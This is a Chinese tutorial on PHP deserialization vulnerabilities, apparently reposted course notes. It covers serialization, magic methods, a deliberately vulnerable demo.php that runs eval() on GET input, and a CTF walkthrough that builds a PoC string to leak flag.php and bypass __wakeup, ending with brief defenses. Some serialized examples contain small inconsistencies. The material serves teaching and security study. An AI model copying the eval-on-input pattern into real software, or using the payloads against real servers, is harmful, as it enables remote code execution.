反序列化漏洞笔记

1 PHP 序列化基础概念

1.1 什么是序列化

序列化可以实现将对象压缩并格式化,方便数据的传输和存储。

为什么要序列化?

PHP 文件在执行结束时会把对象销毁,如果下次要引用这个对象的话就很麻烦,所以就有了对象序列化,实现对象的长久存储,对象序列化之后存储起来,下次调用时直接调出来反序列化之后就可以使用了。

学习序列化要了解的基本内容。

类(Class): 类的定义包含了数据的形式以及对数据的操作。

对象:对象是类的实例。

方法:类中定义的函数。#下面这个序列化的实例中我们没有用到,魔术方法小节中详解。

PHP 序列化函数

serialize() //将一个对象转换成一个字符串

┌──(root㉿xuegod52)-[~]
└─#  cd /var/www/html/
└─#  vim serialize.php
<?php
//创建一个类 Testclass Test{
//定义 3 个属性,最后序列化后看一下这 3 个属性序列化后的结果。private $a = "private";public $b = "public";protected $c = "protected";}
//创建一个对象,对象是类的实例。$test = new Test();
//序列化 test 这个对象$data = serialize($test);
//打印序列化后的对象echo $data;
?>

扩展:

属性:属性就是变量,但是定义在类中我们可以给变量设置一些权限。

Public(公开): 可以自由的在类的内部外部读取、修改。

Private(私有): 只能在这个当前类的内部读取、修改。

Protected(受保护):能够在这个类和类的子类中读取和修改。

访问:http://192.168.135.130/serialize.php

O:4:"test":3:{s:7:"Testa";s:7:"private";s:1:"b";s:6:"public";s:4:"*c";s:9:"protected";}

注:

O:4:"test" #O→Object(对象)4→对象名称长度为 4 个字符

3 对象属性个数为 3

{s:7:"Testa";s:7:"private";

s=string 7=Testa 字节数,Testa 的属性为 private,所以会在 Test 左右各添加一个空白字符,所以长度为 7,第二个值为 Testa 的值 s=string 7=private 字节长度,private 类型的属性名称为类名称+属性名称也就是 Test+a,例如 0x00Test0x00a

s:1:"b";s:6:"public";

public 类型的就比较正常 s=string 1=b 字节长度

s:4:"*c";s:9:"protected";}

protected 有点区别 s=string 4=*d protected 则会在属性名称 d 前面加*号然后*的左右各一个

空白字节,例如 0x00*0x00d

小结:

序列化就是把对象转换为字符串进行存储或传输

1.2 什么是反序列化

PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。

PHP 反序列化函数

unserialize() //将字符串还原成一个对象

这是我们前面把对象序列化后的结果,我们将对这个序列化后的字符串进行反序列化还原成对象。

O:4:"Test":3:{s:7:"Testa";s:7:"private";s:1:"b";s:6:"public";s:4:"*c";s:9:"protected";}

┌──(root㉿xuegod52)-[~]
└─#  vim unserialize.php
<?php
//定义 data 变量为序列化之后的对象。$data = 'O:4:"Test":3:{s:7:" Test a";s:7:"private";s:1:"b";s:6:"public";s:4:" *
c";s:9:"protected";}';
//使用 unserialize 将序列化后的字符串进行反序列化$test = unserialize($data);
//通过 var_dump 打印出 test 对象。此时 test 已经从字符串变成了一个对象。var_dump($test);
?>

访问页面:http://192.168.135.130/unserialize.php

或者输入php unserialize.php

修改序列化的属性值
┌──(root㉿xuegod52)-[/var/www/html]
└─# vim unserialize.php
<?php $data = 'O:4:"Test":3:{s:7:" Test a";s:7:"private";s:1:"b";s:10:"xuegodnice";s:4:" *c";s:9:"xuegod.cn";}';$test = unserialize($data);var_dump($test);
?>
修改属性 b 和属性 c 的值为 xuegodnice 和 xuegod.cn。注意修改后的字符串长度要和序列化中定
义的字符长度一致。比如 b 的 s:10 则 xuegodnice 为 10 个字符。
访问页面:http://192.168.1.63/unserialize.php
object(__PHP_Incomplete_Class)#1 (4) {["__PHP_Incomplete_Class_Name"]=>string(4) "Test"[" Test a"]=>string(7) "private"["b"]=>string(10) "xuegodnice"[" * c"]=>string(9) "xuegod.cn}

访问页面:http://192.168.135.130/unserialize.php

或者输入php unserialize.php

小结:

修改序列化后的字符串等于修改了对象的属性。但是要注意修改后的字符串长度如果改变了同时要将前面的字符串长度也一并修改。也就是说如果我们用户可以自定义修改序列化后的字符串,我们就可以改变这个对象中的属性。

1.3 序列化-魔术方法

魔术方法介绍:

方法:类中定义的函数。

上面我们演示了如何进行序列化和反序列化,但是我们仅使用了属性,也就是变量,变量我们可以当做数据来看待,而编程就是对数据进行一些列的操作和处理,操作和处理数据的过程我们一般通过函数来定义,函数在面向对象编程中我们一般称之为方法,所以后续如果老师说到方法就等于说的是函数功能。

特殊的方法-魔术方法。

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法,这些都是 PHP 内置的方法。

__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__wakeup() 使用 unserialize 时触发
__sleep() 使用 serialize 时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用 isset()或 empty()触发
__unset() 在不可访问的属性上使用 unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象作为函数调用时触发

更多魔术方法详见:PHP: 魔术方法 - Manual

┌──(root㉿xuegod52)-[/var/www/html]
└─#vim magic.php
<?php
//创建 test 类
class test{
//属性$varr1=free
public $varr1="free";
//自定义方法 echovarr1
public function echovarr1(){echo $this->varr1." in echovarr1()<br>";
}
//以下是常用的魔术方法
public function __construct(){echo "__construct 当一个对象创建时被调用<br>";
}
public function __destruct(){
echo "__destruct 当一个对象销毁时被调用<br>";
}
public function __toString(){return "__toString 把类当作字符串使用时触发,返回值需要为字符串<br>";
}
public function __sleep(){echo "__sleep 使用 serialize 时触发<br>";return array('varr1');
}
public function __wakeup(){echo "__wakeup 使用 unserialize 时触发<br>";
}
}
//实例化对象,调用__construct()方法,输出__construct
$xuegod = new test(); 
//调用 echovarr1()方法,输出 varr1 "free"
$xuegod->echovarr1(); 
//$xuegod 对象被当做字符串输出,调用__toString()方法,输出__toString
echo $xuegod; 
//$xuegod 对象被序列化,调用__sleep()方法,输出__sleep
$s =serialize($xuegod); 
//$s 首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用
_toString()方法。
echo unserialize($s); 
//脚本结束会调用__destruct()方法,输出__destruct
//由于反序列化相当于又创建了一个对象,所以脚本结束后会输出两次__destruct
?>

访问 web 页面: http://192.168.1.63/magic.php

通过 magic.php 页面我们可以判断出魔术方法的触发顺序。

小结:

魔术方法是 PHP 内置的方法,对象通过特定的触发方式来执行魔术方法。也可直接调用用户自定义的方法

1.4 序列化漏洞的原理

当用户的请求在传给反序列化函数 unserialize()之前没有被正确的过滤时就会产生漏洞。因为 PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的 unserialize 函数,最终导致一个在该应用范围内的任意 PHP 对象注入。

反序列化漏洞出现需要满足两个条件:

1. unserialize 时参数用户可控

2. 参数被传递到方法中被执行,并且方法中使用了危险函数。

什么是危险函数?比如 php 代码执行函数、文件读取函数、文件写入函数等等。

┌──(root㉿xuegod52)-[/var/www/html]
└─# vim demo.php
<?php
class Test{var $free = "demo";function __destruct(){
//_destruct()函数中调用 eval 执行序列化对象中的语句@eval($this->free);}
}
$free = $_GET['free'];
$len = strlen($free)+1;
//构造序列化对象
$ser = "O:4:\"Test\":1:{s:4:\"free\";s:".$len.":\"".$free.";\";}";
// 反序列化同时触发_destruct 函数
$xuegod = unserialize($ser); 
?>

用户提交的参数作为序列化后的字符串参数,进行反序列化时触发__destruct()魔术方法,而魔术方法中使用危险函数 eval(),$this->free 可以调用对象中的 free 属性,所以使 $free = "phpinfo();";而 @eval($this->free); 则执行 free 属性中的 php 代码。

访问页面:http://192.168.135.130/demo.php?free=phpinfo()

小结:

Demo.php 这个案例就是一个最基础的反序列化漏洞的例子,它具备了 unserialize 参数可控,由魔术方法自动触发执行危险代码。

2 反序列化漏洞实例-ctf

上传 ctf.tar.gz 文件

┌──(root㉿xuegod52)-[/var/www/html]
└─#tar xf ctf.tar.gz -C /var/www/html/

访问题目页面:http://192.168.135.130/ctf.php

可以看到页面通过 show_source 打印了 ctf.php 的源码,所以题目一定是要我们做代码审计,图中标注的两处位置是我们反序列化漏洞的两个必要因素,unserialize 参数可控,show_source 危险函数。

解题思路

第一:通过 GET 方式传参序列化后的字符串作为 file 变量的值给 ctf.php

第二:通过我们构造的 file 变量的序列化字符串让 show_source($this->file)最终的执行结果为show_source(flag.php);

首先我们要构造参数,file 参数是要经过反序列化的,那么我们需要写个 Poc 来生成一段序列化的字符串。把源代码中的类复制出来新建一个 poc.php 将其序列化输出。

Poc 我们在 kali 中创建,不要在运行 ctf.php 的主机上创建,否则引用了 flag.php 之后序列化时会打印出 flag.php。

┌──(root㉿xuegod52)-[/var/www/html]
└─# systemctl start apache2
┌──(root㉿xuegod52)-[/var/www/html]
└─#vim /var/www/html/poc.php
<?php
class xuegod{//修改 file=flag.phpprivate $file='flag.php';function __destruct(){if(!empty($this->file)){show_source($this->file);}}function __wakeup(){$this->file='ctf.php';}}
$free = new xuegod();
$s = serialize($free);
echo $s;
?>

访问 poc 页面获取序列化字符串:http://192.168.135.130/poc.php以及flag

小结:

1. 绕过__wakeup()的方法为修改属性数量,只要大于类中的数量即可绕过。

  1. 属性字段的长度要匹配,而且根据属性类型来添加空白字符。并修改字段类型为 S。

3 反序列化漏洞修复和防御

针对unserialize和Magic函数审计

对用户输入的内容过滤

白名单,限制反序列化的类;不能动态传参

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/620491.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

端口协议(爆破、未授权)

常见端口服务及攻击方向&#xff1a; 弱口令爆破 工具&#xff1a;https://github.com/vanhauser-thc/thc-hydra hydra是一个支持多协议的自动化的爆破工具。 支持的服务、协议&#xff1a; telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-…

Python学习笔记14 - 集合

什么是集合 集合的创建方式 集合的相关操作 集合间的关系 集合的数学操作 集合生成式 列表、字典、元组、集合总结

matlab学习001-简单的矩阵输入运算及绘制信号曲线

目录 1&#xff0c;熟悉简单的矩阵输入 1.1&#xff0c;创建矩阵 1.2&#xff0c;在命令行调用文件中的变量 1.3&#xff0c;ones函数 1.4&#xff0c;who和whos的使用 2&#xff0c;绘制信号曲线 2.1&#xff0c;实指数信号 2.2&#xff0c;频率为50Hz的周期方波信号…

云卓LS-01喊话器说明书-新版中文

一: 概述 LS-01 无人机喊话器适用于搭载无人机进行交通管制、现场指挥、应急救援、人群疏导、防疫宣传、景区安防、鱼塘巡视、林业防控等场景。产品具有喊话、警报、播放多媒体文件等多种功能。喊话器外壳采用尼龙加纤材质&#xff0c;具有抗、抗震、轻便灵活、外观新颖、质量稳…

第四百五十四回

文章目录 1. 问题描述2. 优化方法2.1 缩小范围2.2 替代方法 3. 示例代码4. 内容总结 我们在上一章回中介绍了"如何获取AppBar的高度"相关的内容&#xff0c;本章回中将介绍关于MediaQuery的优化.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1. 问题描述 我们在…

【Java开发指南 | 第一篇】类、对象基础概念及Java特征

读者可订阅专栏&#xff1a;Java开发指南 |【CSDN秋说】 文章目录 类、对象基础概念Java特征 Java 是一种面向对象的编程语言&#xff0c;它主要通过类和对象来组织和管理代码。 类、对象基础概念 类&#xff1a;类是一个模板&#xff0c;它描述一类对象的行为和状态。例如水…

AI智能分析网关V4平台告警数据清理方法:自动清理与手动清理

TSINGSEE青犀智能分析网关V4属于高性能、低功耗的软硬一体AI边缘计算硬件设备&#xff0c;目前拥有3种型号&#xff08;8路/16路/32路&#xff09;&#xff0c;支持Caffe/DarkNet/TensorFlow/PyTorch/MXNet/ONNX/PaddlePaddle等主流深度学习框架。硬件内部署了近40种AI算法模型…

构建鸿蒙ACE静态库

搭建开发环境 根据说明文档下载鸿蒙全部代码&#xff0c;一般采取第四种方式获取最新代码(请保证代码为最新) 源码获取Windows下载编译环境 MinGW GCC 7.3.0版本 请添加环境变量IDE 可以使用两种 CLion和Qt,CLion不带有环境需要安装MinGW才可以开发,Qt自带MinGW环境&#xff0…

睿考网:二建报考社保不够可以报考吗?

在报名参加二级建造师资格考试时&#xff0c;考生需符合学历、专业和工作经验的准入条件&#xff0c;社保缴费记录并非报名的强制性条件。 某些地区并不将社会保险作为报名的必要前提&#xff0c;其他一些地区则可能仅需要考生提供6个月或12个月的社会保险缴纳证明即可参加考试…

大模型面试准备(十五):BERT 工作流程

节前&#xff0c;我们组织了一场算法岗技术&面试讨论会&#xff0c;邀请了一些互联网大厂朋友、参加社招和校招面试的同学&#xff0c;针对大模型技术趋势、大模型落地项目经验分享、新手如何入门算法岗、该如何备战、面试常考点分享等热门话题进行了深入的讨论。 合集在这…

C语言编程环境详解(Vscode编辑器基础上C语言编程环境搭建详细教程步骤)

1、语言分类介绍 编译型语言&#xff1a;C、C 解释型语言&#xff1a;Python、Js 2、C语言编译器 GCC系列&#xff1a; GNU编译器套装(英语&#xff1a;GNU Compiler Collection&#xff0c;缩写为GCC)&#xff0c;指一套编程语言编译器&#xff0c;常被认为是跨平台编译器的事…

Vue3 中vue-quill富文本编辑器图片缩放

导包 import BlotFormatter from quill-blot-formatter/dist/BlotFormatter; Quill.register(modules/blotFormatter, BlotFormatter) 添加配置 blotFormatter: {modules: ["Resize", "DisplaySize", "Toolbar"]}, 注&#xff1a; 该编辑器已经…